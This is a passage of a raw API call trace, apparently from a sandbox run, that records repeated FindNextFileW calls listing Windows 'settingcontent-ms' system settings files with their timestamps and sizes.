nFileSizeLow=0x54d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Magnifier_IsAutoStartEnabled.settingcontent-ms", cAlternateFileName="AA5254~1.SET")) returned 1 [0223.006] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17567c08, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x17567c08, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Magnifier_IsEnabled.settingcontent-ms", cAlternateFileName="AA2C2E~1.SET")) returned 1 [0223.006] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17ac4b94, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x17ac4b94, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Magnifier_IsFollowInsertPointEnabled.settingcontent-ms", cAlternateFileName="AA8CB1~1.SET")) returned 1 [0223.006] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x194b2528, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x194b2528, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x575, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Magnifier_IsFollowKeyFocusEnabled.settingcontent-ms", cAlternateFileName="AAA651~1.SET")) returned 1 [0223.006] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x195e37f6, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x195e37f6, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Magnifier_IsInversionColorEnabled.settingcontent-ms", cAlternateFileName="AABD4E~1.SET")) returned 1 [0223.008] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1986bebc, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1986bebc, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_MouseCursorColor.settingcontent-ms", cAlternateFileName="AA8E91~1.SET")) returned 1 [0223.008] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a752af4, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1a752af4, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_MouseCursorSize.settingcontent-ms", cAlternateFileName="AAD5FB~1.SET")) returned 1 [0223.009] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b174b28, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1b174b28, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsAutoStartEnabled.settingcontent-ms", cAlternateFileName="AADFD0~1.SET")) returned 1 [0223.009] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba658c7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1ba658c7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsDuckAudioEnabled.settingcontent-ms", cAlternateFileName="AAFBF6~1.SET")) returned 1 [0223.009] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bf0409b, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1bf0409b, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsEchoCharacterEnabled.settingcontent-ms", cAlternateFileName="AA0EB6~1.SET")) returned 1 [0223.009] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad15e9, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x68ad15e9, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsEchoWordEnabled.settingcontent-ms", cAlternateFileName="AA16CC~1.SET")) returned 1 [0223.009] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68c4ee17, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x68c4ee17, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x519, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsEnabled.settingcontent-ms", cAlternateFileName="AAD6FB~1.SET")) returned 1 [0223.010] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68f96122, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x68f96122, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x55b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsFastKeyEntryEnabled.settingcontent-ms", cAlternateFileName="AAFD0D~1.SET")) returned 1 [0223.010] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6915b22f, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x6915b22f, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsFollowInsertionEnabled.settingcontent-ms", cAlternateFileName="AA4EF2~1.SET")) returned 1 [0223.010] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695f9eee, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x695f9eee, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsHighlightCursorEnabled.settingcontent-ms", cAlternateFileName="AAB22F~1.SET")) returned 1 [0223.010] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69941380, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x69941380, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsPlayAudioCuesEnabled.settingcontent-ms", cAlternateFileName="AA0FB5~1.SET")) returned 1 [0223.010] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a4f01a8, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x6a4f01a8, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_IsReadHintsEnabled.settingcontent-ms", cAlternateFileName="AA29E2~1.SET")) returned 1 [0223.010] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ad221a4, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x6ad221a4, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_SpeechPitch.settingcontent-ms", cAlternateFileName="AA3E47~1.SET")) returned 1 [0223.011] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b0b5b24, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x6b0b5b24, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_SpeechSpeed.settingcontent-ms", cAlternateFileName="AA114E~1.SET")) returned 1 [0223.011] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b2cbc78, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x6b2cbc78, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x52d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_Narrator_SpeechVoices.settingcontent-ms", cAlternateFileName="AA692E~1.SET")) returned 1 [0223.011] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b5a0835, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x6b5a0835, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x529, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Accessibility_NotificationDuration.settingcontent-ms", cAlternateFileName="AA31F0~1.SET")) returned 1 [0223.014] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c414b8d, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x6c414b8d, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Autoplay_IsEnabled.settingcontent-ms", cAlternateFileName="AA5C9A~1.SET")) returned 1 [0223.015] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd8f57a6, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xfd8f57a6, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_BatterySaver_LandingPage_OverrideControl.settingcontent-ms", cAlternateFileName="AA9529~1.SET")) returned 1 [0223.015] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd98e121, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xfd98e121, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_BatterySaver_LandingPage_SettingsLink-2.settingcontent-ms", cAlternateFileName="AAED09~1.SET")) returned 1 [0223.015] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ccc6, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xfda4ccc6, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x537, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_BatterySaver_LandingPage_SettingsLink.settingcontent-ms", cAlternateFileName="AA2914~1.SET")) returned 1 [0223.015] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdb31cfc, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xfdb31cfc, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_BatterySaver_LandingPage_UsageDetailsLink-2.settingcontent-ms", cAlternateFileName="AA1E1A~1.SET")) returned 1 [0223.015] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcaf23b, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xfdcaf23b, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_BatterySaver_LandingPage_UsageDetailsLink.settingcontent-ms", cAlternateFileName="AA138B~1.SET")) returned 1 [0223.016] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd47bd4, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xfdd47bd4, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0x233c02ad, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DataSense_ConfigureSetLimitButton.settingcontent-ms", cAlternateFileName="AA1B73~1.SET")) returned 1 [0223.016] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfde0687c, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xfde0687c, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DateTime_CountryRegion.settingcontent-ms", cAlternateFileName="AAF42F~1.SET")) returned 1 [0223.016] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdeeb6a3, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xfdeeb6a3, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DateTime_IsAutomaticDSTAdjustEnabled.settingcontent-ms", cAlternateFileName="AAC2C5~1.SET")) returned 1 [0223.017] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab0f6f, ftCreationTime.dwHighDateTime=0x1d70073, ftLastAccessTime.dwLowDateTime=0xfeab0f6f, ftLastAccessTime.dwHighDateTime=0x1d70073, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x529, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DateTime_IsTimeSetAutomaticallyEnabled.settingcontent-ms", cAlternateFileName="AA7FFC~1.SET")) returned 1 [0223.017] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a385d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x1a385d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DateTime_IsTimeZoneSetAutomaticallyEnabled.settingcontent-ms", cAlternateFileName="AAEAA2~1.SET")) returned 1 [0223.017] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aa79f4, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4aa79f4, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DateTime_Set.settingcontent-ms", cAlternateFileName="AAD480~1.SET")) returned 1 [0223.017] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b8c81c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4b8c81c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DateTime_SetFormats.settingcontent-ms", cAlternateFileName="AACB48~1.SET")) returned 1 [0223.017] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c71605, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4c71605, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2347ee66, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DateTime_TimezoneInfo.settingcontent-ms", cAlternateFileName="AAFF0C~1.SET")) returned 1 [0223.018] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4da2867, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4da2867, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DefaultApps_Audio.settingcontent-ms", cAlternateFileName="AA6049~1.SET")) returned 1 [0223.018] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e876b3, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4e876b3, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DefaultApps_Browser.settingcontent-ms", cAlternateFileName="AA0ACC~1.SET")) returned 1 [0223.018] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f928c8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x4f928c8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DefaultApps_Email.settingcontent-ms", cAlternateFileName="AA36FF~1.SET")) returned 1 [0223.021] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x509d741, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x509d741, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DefaultApps_Map.settingcontent-ms", cAlternateFileName="AA3906~1.SET")) returned 1 [0223.021] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51a8820, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x51a8820, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DefaultApps_Photos.settingcontent-ms", cAlternateFileName="AA1CA4~1.SET")) returned 1 [0223.022] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f37d99, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5f37d99, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_DefaultApps_Video.settingcontent-ms", cAlternateFileName="AA2D48~1.SET")) returned 1 [0223.022] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c4690c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x7c4690c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d1, dwReserved0=0x0, dwReserved1=0x0, 